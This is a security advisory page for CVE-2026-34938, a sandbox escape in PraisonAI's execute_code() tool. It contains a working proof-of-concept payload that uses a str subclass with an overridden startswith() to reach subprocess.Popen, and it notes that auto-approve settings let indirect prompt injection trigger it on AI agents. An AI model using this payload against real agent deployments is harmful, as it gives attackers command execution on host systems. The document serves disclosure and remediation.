CVE-2026-34938: PraisonAI: Python Sandbox Escape via str Subclass startswith() Override in execute_code

Published Apr 1, 2026
·
Updated

Summary

executecode() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host.

Details

pythontools.py:20 (source) -> pythontools.py:22 (guard bypass) -> pythontools.py:161 (sink) python source -- safegetattr accepts any str subclass def safegetattr(obj, name, default): if isinstance(name, str) and name.startswith(''): # isinstance passes for subclasses raise AttributeError(...)

hop -- type() is whitelisted in safebuiltins, creates str subclass without class keyword FakeStr = type('FakeStr', (str,), {'startswith': lambda self, a: False})

sink -- Popen reached via subclasses walk r = Popen(['id'], stdout=PIPE, stderr=PIPE)

PoC python

from praisonaiagents.tools.pythontools import executecode

payload = """ t = type FakeStr = t('FakeStr', (str,), {'startswith': lambda self, a: False})

mroattr = FakeStr(''.join(['','','m','r','o','',''])) subsattr = FakeStr(''.join(['','','s','u','b','c','l','a','s','s','e','s','',''])) modattr = FakeStr(''.join(['','','m','o','d','u','l','e','',''])) nameattr = FakeStr(''.join(['','','n','a','m','e','',''])) PIPE = -1

objclass = getattr(type(()), mroattr)[1] for cls in getattr(objclass, subsattr)(): try: m = getattr(cls, modattr, '') n = getattr(cls, nameattr, '') if m == 'subprocess' and n == 'Popen': r = cls(['id'], stdout=PIPE, stderr=PIPE) out, err = r.communicate() print('RCE:', out.decode()) break except Exception as e: print('ERR:', e) """

result = executecode(code=payload) print(result) expected output: RCE: uid=1000(narey) gid=1000(narey) groups=1000(narey)...

Impact

Any user or agent pipeline running executecode() is exposed to full OS command execution as the process user. Deployments using bot.py, autonomymode.py, or botscli.py set PRAISONAIAUTOAPPROVE=true by default, meaning no human confirmation is required and the tool fires silently when triggered via indirect prompt injection.

Other sources

PraisonAI is a multi-agent teams system. Prior to version 1.5.90, executecode() in praisonai-agents runs attacker-controlled Python inside a three-layer sandbox that can be fully bypassed by passing a str subclass with an overridden startswith() method to the safegetattr wrapper, achieving arbitrary OS command execution on the host. This issue has been patched in version 1.5.90.

MITRE

Affected Software

2 affected componentsFixes available
pip/praisonaiagents<=1.5.89
1.5.90
Praison praisonaiagents<1.5.90

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonaiagents to a version that resolves this vulnerability.

    Fixed in 1.5.90
  2. Upgrade

    Upgrade praisonai-agents execute_code() to a version that resolves this vulnerability.

    Fixed in 1.5.90
  3. Configuration

    Set PRAISONAI_AUTO_APPROVE to false so human confirmation is required instead of silently firing when triggered via indirect prompt injection.

    bot.py / autonomy_mode.py / bots_cli.py PRAISONAI_AUTO_APPROVE = false

Event History

Apr 1, 2026
Advisory Published
via GitHub·11:17 PM
Data Sourced
via GitHub·11:17 PM
DescriptionSeverityWeaknessAffected Software
Apr 3, 2026
CVE Published
via MITRE·10:51 PM
Data Sourced
via MITRE·10:51 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:17 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203